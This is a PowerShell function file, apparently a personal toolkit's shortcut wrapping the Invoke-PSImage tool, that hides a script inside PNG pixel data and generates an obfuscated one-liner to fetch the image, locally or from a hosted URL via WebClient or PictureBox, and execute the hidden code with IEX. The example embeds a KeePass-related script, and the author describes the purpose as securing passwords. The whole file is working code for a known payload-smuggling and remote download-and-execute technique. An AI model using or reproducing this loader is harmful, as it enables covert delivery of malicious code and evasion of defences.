<# FPS:Containers:Make:SC-PSImage:ACTIVE #>

 

if (!(Push-NeededFor PSImage)) {

    # Remove a prior patch if it already exists

    Remove-Item -Path Function:\PSImage

} else {

    # Only load the help line if a prior release is not present, otherwise just keep whats there.

    $genShortcuts = @($genShortcuts

    (ConvertTo-DotFill $global:SCDotLen 'PSImage')+"[-Script [FQN], -OUT [FQN], -Image [FQN] ] Embeds a PowerShell script in an image and generates a oneliner to execute it."

    )

}

 

function PSImage {

 

<#

 

.DESCRIPTION

Module: DataResources

Shortcut: SC-PSImage.ps1

Has Dependencies: No

 

Embeds a PowerShell script in an image and generates a oneliner to execute it.

Original Author:  Barrett Adams (@peewpw), License https://github.com/peewpw/Invoke-PSImage/blob/master/LICENSE

 

This tool can either create an image with just the target data, or can embed the payload in

an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in

each pixel (for as many pixels as are needed for the payload). Image quality will suffer as

a result, but it still looks decent. The image is saved as a PNG, and can be losslessly

compressed without affecting the ability to execute the payload as the data is stored in the

colors themselves. It can accept most image types as input, but output will always be a PNG

because it needs to be lossless.

   

.USAGE

 

.PARAMETER Script

 

The path to the script to embed in the Image.

 

.PARAMETER Out

 

The file to save the resulting image to (image will be a PNG)

 

.PARAMETER Image

 

The image to embed the script in. (optional)

 

.PARAMETER WebRequest

 

Output a command for reading the image from the web using Net.WebClient.

You will need to host the image and insert the URL into the command.

 

.PARAMETER PictureBox

 

Output a command for reading the image from the web using System.Windows.Forms.PictureBox.

You will need to host the image and insert the URL into the command.

 

.EXAMPLE

$InputImg = "P:\FPS\Containers\Images\0037-1920x1080.jpg"

$OutputImg = "P:\FPS\Containers\Images\0037-1920x1080.png"

$Script = "P:\FPS\Containers\Aloha-P1\DataResources\DataResources\Private\Get-KeePass.ps1"

 

PSImage -Script $Script -Out $OutputImg -Image $InputImg

  

Returns: Oneliner to execute from a file

 

.CC

 

[2024.11.19 JD] Original code release

 

.NOTES

 

This will be used to secure my passwording infrastructure.

 

#>

 

 

    [CmdletBinding()] Param (

        [Parameter(Position = 0, Mandatory = $True)]

        [String]

        $Script,

   

        [Parameter(Position = 1, Mandatory = $True)]

        [String]

        $Out,

   

        [Parameter(Position = 2, Mandatory = $False)]

        [String]

        $Image,

 

        [switch] $WebClient,

       

        [switch] $PictureBox

    )

    # Stop if we hit an error instead of making more errors

    $ErrorActionPreference = "Stop"

 

    # Load some assemblies

    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

   

    # Normalize paths beacuse powershell is sometimes bad with them.

    if (-Not [System.IO.Path]::IsPathRooted($Script)){

        $Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))

    }

    if (-Not [System.IO.Path]::IsPathRooted($Out)){

        $Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))

    }

 

    $testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out)

 

    # Read in the script

    $ScriptBlockString = [IO.File]::ReadAllText($Script)

    $in = [ScriptBlock]::Create($ScriptBlockString)

    $payload = [system.Text.Encoding]::ASCII.GetBytes($in)

 

    if ($Image) {

        # Normalize paths beacuse powershell is sometimes bad with them.

        if (-Not [System.IO.Path]::IsPathRooted($Image)){

            $Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))

        }

       

        # Read the image into a bitmap

        #$img = New-Object System.Drawing.Bitmap($Image)

        $img = [System.Drawing.Bitmap]::FromFile($image)

 

        $width = $img.Size.Width

        $height = $img.Size.Height

 

        # Lock the bitmap in memory so it can be changed programmatically.

        $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);

        $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)

        $ptr = $bmpData.Scan0

 

        # Copy the RGB values to an array for easy modification

        $bytes  = [Math]::Abs($bmpData.Stride) * $img.Height

        $rgbValues = New-Object byte[] $bytes;

        [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);

 

        # Check that the payload fits in the image

        if($bytes/2 -lt $payload.Length) {

            Write-Error "Image not large enough to contain payload!"

            $img.UnlockBits($bmpData)

            $img.Dispose()

            Break

        }

 

        # Generate a random string to use to fill other pixel info in the picture.

        # (Calling get-random everytime is too slow)

        $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)

        $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

       

        # loop through the RGB array and copy the payload into it

        for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {

            if ($counter -lt $payload.Length){

                $paybyte1 = [math]::Floor($payload[$counter]/16)

                $paybyte2 = ($payload[$counter] -band 0x0f)

                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)

            } else {

                $paybyte1 = ($randb[$counter%113] -band 0x0f)

                $paybyte2 = ($randb[($counter+1)%67] -band 0x0f)

                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)

            }

            $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1

            $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2

            $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3

        }

 

        # Copy the array of RGB values back to the bitmap

        [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)

        $img.UnlockBits($bmpData)

 

        # Write the image to a file

        $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)

        $img.Dispose()

       

        # Get a bunch of numbers we need to use in the oneliner

        $rows = [math]::Ceiling($payload.Length/$width)

        $array = ($rows*$width)

        $lrows = ($rows-1)

        $lwidth = ($width-1)

        $lpayload = ($payload.Length-1)

 

        if($WebClient) {

            $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        } elseif($PictureBox) {

            $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        } else {

            $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        }

 

        return $pscmd

 

    } else {

        # Decide how large our image needs to be (always square for easy math)

        $side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4

 

        # Decide how large our image needs to be (always square for easy math)

        $rgbValues = New-Object byte[] ($side * $side * 3);

        $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)

        $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

 

        # loop through the RGB array and copy the payload into it

        for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) {

            if ($counter -lt $payload.Length){

                $rgbValues[$counter] = $payload[$counter]

            } else {

                $rgbValues[$counter] = $randb[$counter%113]

            }

        }

 

        # Copy the array of RGB values back to the bitmap

        $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length)

        [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length)

        $img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr)

 

        # Write the image to a file

        $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)

        $img.Dispose()

        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr);

       

        # Get a bunch of numbers we need to use in the oneliner

        $array = ($side*$side)*3

        $lrows = ($side-1)

        $lwidth = ($side-1)

        $width = ($side)

        $lpayload = ($payload.Length-1)

 

        if($WebClient) {

            $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        } elseif($PictureBox) {

            $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        } else {

            $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"

        }

 

        return $pscmd

    }

}